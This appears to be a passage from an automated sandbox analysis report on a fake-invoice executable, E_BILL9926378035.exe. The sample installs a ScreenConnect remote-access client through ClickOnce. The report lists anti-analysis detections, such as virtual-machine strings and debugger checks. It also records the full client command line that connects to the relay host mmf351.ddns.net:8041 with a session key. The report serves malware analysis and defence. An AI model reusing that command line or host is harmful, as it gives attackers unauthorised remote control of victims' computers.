Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598297 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598130 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597906 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597656 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597516 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597391 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597266 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597153 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597047 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596938 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596578 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596469 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596016 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595906 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595795 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595685 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595575 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595468 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595358 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595115 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594994 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594850 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594734 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594625 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594516 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594406 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594297 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594188 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594078 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593969 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593844 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593734 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593624 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593514 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593406 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593297 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593188 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593063 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592953 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592844 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592719 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\ Jump to behavior
Source: Amcache.hve.4.dr Binary or memory string: VMware
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dfsvc.exe, 00000001.00000002.2602490344.000001F6CE643000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2608642594.000001F6D07F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2945866361.0000023333040000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2944419995.000002332DA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2945908199.000002333305A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ScreenConnect.ClientService.exe, 0000000B.00000002.1997539109.00000000011FC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.4.dr Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: dfsvc.exe, 00000001.00000002.2608642594.000001F6D07E3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW[Q
Source: Amcache.hve.4.dr Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Windows\System32\svchost.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Process queried: DebugPort Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF4573 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00EF4573
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00EF1000
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF3677 mov eax, dword ptr fs:[00000030h] 0_2_00EF3677
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF6893 GetProcessHeap, 0_2_00EF6893
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process token adjusted: Debug
Launches processes in debugging mode, may be used to hinder debugging
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF1493 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00EF1493
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF4573 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00EF4573
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00EF191F
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF1AAC SetUnhandledExceptionFilter, 0_2_00EF1AAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: ScreenConnect.ClientService.dll.1.dr, ClientService.cs Reference to suspicious API methods: WindowsExtensions.OpenProcess(processID, (ProcessAccess)33554432)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT | WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1928 -ip 1928 Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1928 -s 856 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=89e470af-f42d-4b2f-ad1d-717711c7c76a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\n792aezk.t2t\924zhom1.d1t\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\screenconnect.clientservice.exe" "?e=support&y=guest&h=mmf351.ddns.net&p=8041&s=89e470af-f42d-4b2f-ad1d-717711c7c76a&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=untitled%20session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\n792aezk.t2t\924zhom1.d1t\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\screenconnect.clientservice.exe" "?e=support&y=guest&h=mmf351.ddns.net&p=8041&s=89e470af-f42d-4b2f-ad1d-717711c7c76a&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=untitled%20session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\n792aezk.t2t\924zhom1.d1t\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\screenconnect.clientservice.exe" "?e=support&y=guest&h=mmf351.ddns.net&p=8041&s=89e470af-f42d-4b2f-ad1d-717711c7c76a&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=untitled%20session" "1" Jump to behavior
Source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1916214053.0000000000AC2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1916214053.0000000000AC2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF1BD4 cpuid 0_2_00EF1BD4
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
